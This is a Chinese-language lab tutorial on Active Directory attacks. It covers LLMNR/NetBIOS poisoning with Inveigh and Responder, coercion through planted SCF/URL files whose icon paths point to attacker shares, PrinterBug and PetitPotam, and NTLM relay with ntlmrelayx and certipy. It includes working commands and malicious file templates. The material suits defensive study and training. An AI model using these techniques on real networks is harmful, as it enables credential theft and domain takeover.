
NetBIOS-NS (NetBIOS Name Service) 和 LLMNR (Link-Local Multicast Name Raesolution) 是用于在 DNS 解析失败时为同一本地链路上的主机执行名称解析的协议，它们在现代
Windows 计算机上默认启用。在现代企业网络中，虽然 DNS 被大量使用，但有时由于配置错误、DNS 表不完整、服务器不可用等原因，它无法按预期工作。NetBIOS-NS 和 LLMNR 作为替代名称解析协议填补了这一空白。当主机请求网络资源时，为了识别目标资源并发送网络流量，将按顺序执行以下查询，直到识别出名称：

1：请求是否针对计算机本身
2：该名称是否存在于缓存中或在本地 hosts 文件中
3：在 DNS 服务器中查找记录
4：如果启用了 LLMNR，则通过本地链路广播 LLMNR 查询
5：如果启用了 NetBIOS，则通过本地链接广播 LLMNR 查询
LLMNR 和 NetBIOS-NS 查询将被广播，如果主机识别主机名并知道其 IP 地址，主机将响应，攻击者可以通过恶意响应受害者计算机来利用该过程。下图演示了攻击

中毒与中继攻击

NetBIOS 和 LLMNR 中毒理论
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1：用户想要访问指定网络资源但输错了主机名
2：DNS 服务器 (DC) 查该找主机名，但在 DNS 记录中不存在
3：广播 LLMNR/NetBIOS-NS 查询
4：攻击者通过响应受害者工作站伪装成所需的网络资源
5：受害者主机对攻击者进行身份验证

让我们手动复现利用过程。可用于此目的的最常用工具是 Responder 和 Inveigh (https://github.com/Kevin-Robertson/Inveigh)。在内网渗透中，Responder 会更常用，但考虑到我们的攻击主机并不在内网中，因此我们可以在受害主机上使用 Inveigh，并且因为 Inveigh 是 C#
编写的，我们甚至可以做到文件不落地。

考虑到 CobaltStrike 并非是交互式的，出于教学目的，我们还是在本地运行该工具。我们可以查看该工具的文档来了解默认启用和禁用的选项。直接运行 Inveigh 的话，我们发现 Inveigh 开启了多个 Rogue 服务器。不像 Linux，SMB 对于 Windows 是默认且重要的服务之一，因此 Inveigh 则是对其进行了嗅探 (在 Linux 主机上开启 Responder 的话，会开启 Rogue
SMB 服务器)。

如输出所示，我们可以进入交互式控制台执行特定命令，例如查看已经捕获到的哈希。

https://github.com/Kevin-Robertson/Inveigh
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在 file01 主机上，以 prod\alice 身份访问一个不存在的网络服务，如 \\donotexist

很快，Inveigh 就捕获到了 alice 的 NetNTLMv2 哈希。该哈希不可以被直接用于 PTH，但我们可以使用hashcat 或者 John 破解哈希来获得明文密码 (虽然我们已经知道 alice 的明文密码了)。
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这里，我们使用 John 来破解hash，命令如下：

这里，我们是成功恢复了明文密码。但如果密码强度足够高，我们最终可能无法恢复明文密码。

我们手动复现了攻击者如何使本地链路中毒并窃取其他用户的凭证，出于演示目的，我们在 File01 上扮演了受害用户 alice，并错误地输入了一个不存在的网络资源。在真实场景中，虽然这种情况还是会不时发生 (只要时间足够长，总能获得高权限用户的哈希)，但这毕竟是我们不能依赖的随机事件。我们当然也可以对用户进行社会工程学攻击以诱导他们访问不存在的网络资源，然而，最好的办法是让用户在他们不知情的情况下访问不存在的资源，并窃取到他们的凭证，这种技术被称为强制认证。

SCF 文件是 Windows 资源管理器命令文件，用于定义可在 Windows 资源管理器中执行的自定义命令。这些文件是使用文本编辑器创建的，并包含按照命令在文件中列出的顺序执行的命令列表。SCF 文件中的命令可以执行各种任务，例如打开程序、运行脚本或执行系统操作。我们可以在 \\file01\tools 这个公开 SMB 目录中创建一个恶意 SCF 文件 coerion.scf。恶意文件的内容可以如下：

IconFile 的位置指向一个不存在的 SMB 共享目录，因此当任何域用户使用 Windows 资源管理器访问该目录时，我们将获取该用户的哈希。 例如在Srv01上以 prod\sql_service 登录，打开Windows资源管理器访问 \\file01\tools，于是在用户不知情的情况下，我们获取了 svc_sql 的 NetNTLMv2 哈希。

 john --format=netntlmv2 <存储哈希的文件> --wordlist=<字典文件>

强制认证

SCF 文件

[Shell]

Command=2

IconFile=\\web03\shared\pic.ico

[Taskbar]

Command=ToggleDesktop
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URL 文件是存储网页/网站快捷方式的文件。这些文件通常在 Windows 操作系统中用于在桌面或开始菜单中创建网页的快捷方式，当用户单击 url 文件时，默认网络浏览器会打开网页。URL 文件类似于 html 文件，但并不用于存储网页的实际内容。相反，它们包含对网站的引用以及任何其他信息，例如网页标题或快捷方式的位置。

同样的，在 \\file01\tools 中创建 coerion.url 文件，然后以认证的用户身份来访问该目录。

这次，我们以 white-bird\Administrator 的身份在 Dc05 上访问该目录，于是在用户不知情的情况下，我们获得了域管理员的 NetNTLMv2 哈希。

除了 SCF 文件和 URL 文件之外，例如 doc 文档中的超链接、电子邮件中的图像、lnk Windows 快捷方式文件等都可以触发强制认证。其实原理是一样的，这些文件都具有指向不存在资源的属性。而触发强制认证的方式也可以不同，例如打开 Windows 资源管理器访问可读的 SMB 共享、检查电子邮件，或只是打开doc文档。总之，在内网中，中毒攻击会十分有效。

  
URL 文件

[InternetShortcut]

URL=https://google.com

IconIndex=0

IconFile=\\web03\shared\web.ico

其他
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尽管上述的强制身份验证技术使 LLMNR\NetBIOS-NS 中毒攻击更加有效，但我们更喜欢以目标为中心且更少依赖于机遇的技术，而远程强制认证正是我们所寻找的技术。大多数远程强制认证依赖于 MS-RPC 协议，例如 MS-RPRN 和 MS-EFSR。

* 可能因为工具实现的差异，Inveigh 并不能捕获到主机账户的哈希 (但能看到强制认证是成功的，因为检测到了请求)。出于演示与原理教学的目的，我在 Web01 上安装了 Responder。但在目标的受害主机中发现 Responder 这样的攻击性工具是不现实的，而如果在受害主机上下载安装 Responder 更是疯狂。

在 Web01 上运行 Responder，指定网卡接口

我们可以在配置文件Resonder.conf 中调整各项配置，例如决定建立哪些服务的 Rogue 服务器、指定挑战的数值等。

远程强制认证
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Print Spooler 是 Windows 操作系统中管理打印过程的服务，而 PrintBug 是一种远程强制验证强制技术，它利用 MS-RPRN 协议从而强制其他主机对攻击者控制的主机进行认证，但此缺陷是不会被修复的 (设计如此)，并且默认情况下在所有 Windows 环境中启用。我们可以使用强制认证类工具，例如 SpoolSample.exe (
https://github.com/leechristensen/SpoolSample)来实现。这里，我们强制 Dc01 向 Web01 认证：

于是，Responder 捕获了 Dc01 主机帐号的 NetNTLMv2 哈希，考虑到主机账号密码的强度，虽然我们并不能字典破解该哈希，但足以证明强制认证是成功的。

MS-EFSR 是 Microsoft 的加密文件系统远程协议，它对远程存储并通过网络访问的加密数据执行维护和管理操作。它的利用与 PrinterBug 非常相似，但它允许未认证的用户强制域控制器对攻击者主机进行认证。我们可以使用工具 PetitPotam (https://github.com/topotam/PetitPotam) 来实现。因为不需要经过域认证，因此我们可以在自己的 VM 上，执行命令
proxychains python3 petitpotam.py 172.16.1.12 172.16.1.21。第 1 个 IP 是 Responder 运行的主机 IP，第 2 个是要强制认证的主机。

MS-RPRN PrinterBug

MS-EFSR PetitPotam
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并且 Responder 捕获了 Dc02 主机帐号的 NetNTLMv2 哈希。

在之前的攻击中，我们能够获取用户或主机帐号的 NetNTLMv2 哈希。 然而，我们并不总是幸运到能破解这些哈希从而恢复明文密码。我们同样不能将这些哈希用于哈希传递认证，但这些哈希可以被用于 AD 中的中继攻击，我们并不需要知道它们的明文密码。 在中毒攻击中，我们只是获取哈希并尝试破解它们，而在中继攻击中，我们的 Rogue 服务器将获得的哈希直接中继到其他主机或协议。成功的中继攻击可以帮助我们远程导出凭证、枚举 Active Directory、提升权限等，就像是获得了认证一样。我们将使用 Impacket 中的工具 ntlmrelayx。

出于教学目的，在 PROD 域新增了用户 prod\servermgr，密码为 Summer2024!。该用户对 Srv01 以及 File01 具有本地管理员特权。

如果我们不为 ntlmrelayx 指定其他设置，它将远程导出目标主机 SAM 中的凭证。 在 VPS 或者 VM 上运行 Impacket 中的 ntlmrelayx 开启监听：

中继攻击

导出凭证

proxychains python3 impacket/examples/ntlmrelayx.py -t smb://<目标主机> -smb2support --no-http-server 

--no-wcf-server
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如图所示，我们将认证流中继到了 File01。在 Srv01 上，我们以 prod\servermgr 登陆，访问 ntlmrelayx 所开启的 Rogue 监听器，尽管这个 UNC 路径不是有效的，但不妨碍我们将 servermgr 用户在 File01 上对攻击机 Rogue 监听器的认证流中继给了 File01。

因为要导出目标主机的凭证，因此受害用户应在目标服务器 File01 上需要具有本地管理员权限。此外，很重要的一点是，我们无法使用相同的协议将认证流中继回原计算机 (在 2008年之前，是可以中继回原主机的，也就是 MS08-068 漏洞)，这就是为什么我们是将 SMB 协议认证流中继给了 File01 而不是 Srv01。幸好 servermgr 在 File01 上也是本地管理员，也就是我们希望受害者主机尽可能是高特权用户，即在多台主机上都具有本地管理员权限，最好是域管理员。

此外，只有在目标计算机上禁用了 SMB 签名时，SMB 中继才可以成功。默认情况下，域主机是禁用了 SMB 签名的，但是域控制器则默认启用。我们可以用 CME 来验证目标是否开启了 SMB 签名，我们可以看到，域控制器是启用的，而其他域主机则默认禁用。
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有管理员的情况下，我们也可以指定 -c 选项来执行命令。

如果认证流被中继到域控制器上的 LDAP/LDAPS 服务，我们就能够枚举 AD 了。但是，将 SMB 数据流中继到 LDAP 服务器通常是不可行的的 (CVE-2019-1040 补丁修复了跨协议中继)，因为域控制默认启用了 SMB 签名。 运行 ntlmrelayx 执行以下命令： 

当中继成功时，ntlmrelayx 在不提升权限和利用 ACL 的情况下枚举域。 当受害者用户访问我们的 Rogue HTTP (在内网部署的话成功率会更高，毕竟访问的是一个外部 IP) 服务器时，会话将中继到 Dc01 上的 LDAP 服务器。

AD 枚举

proxychains python3 impacket/examples/ntlmrelayx.py -t ldap://172.16.1.11 --no-da --no-acl --

lootdir relay
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认证之后，我们可以看到 ntlmrelayx 这里有了认证和枚举信息。中继攻击完成后，我们可以找到导出的信息。

导出的域信息以文件形式保存在指定的目录下：

我们还可以通过 --add-computer 选项来通过中继从而创建新的主机账号，或者通过 --escalate-user 选项来提升指定用户的特权，请大家自行尝试。

ADCS NTLM 中继回顾
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在 ADCS 利用的小节，我们提到了 ADCS 网页注册终端可被利用于 NTLM 中继。已知 Dc03 也是 CA，因此该终端为 http://Dc03/certsrv。我们可以通过强制认证的手段，例如使用 SpoolSample 强制一高权限主机 (配置了非约束委派的主机，域控制器等) 向攻击者的 Rogue 服务器认证，然后 Rogue 服务器将认证流中继到 CA 的网页注册终端。

需要注意的是，我们依旧不能将认证流中继回原主机，这点当CA 与 DC 为同一台主机的时候 (靶场里也是这种情况) 成立。这种情况下，我们会寄希望于有一台具有高权限的主机。包括但不局限于被配置了 Kerberos 委派、具有 Dcsync 权限等。

我们使用 certipy 开启 Rogue 服务器，因为 Med-factory 森林只有 1 个域且 CA 与 DC 为同一主机，我们退而求其次选择让被配置了约束委派的 Stg01 向我们的 Rogue 服务器认证。

使用 SpoolSample 强制认证：

我们可以看到，中继成功了，我们得到了主机 Stg01 的证书。后续，我们可以用它来申请 TGT 以及利用 s4u2self 对 Stg01 取得本地管理员权限。

proxychains certipy relay -ca <CA IP> -template <ADCS 证书模板名> //理想情况下是DomainController模板

Revision #18
Created 5 September 2022 03:09:55 by 海森堡
Updated 17 April 2025 01:16:41 by 海森堡

https://raven-medicine.com/uploads/images/gallery/2023-06/VVANBWASgPU4KF1e-image.png
https://raven-medicine.com/uploads/images/gallery/2025-04/7KrzmrJhbRSvzxo3-image.png
https://raven-medicine.com/uploads/images/gallery/2023-06/gBPGl7qYVxDFuQf7-image.png

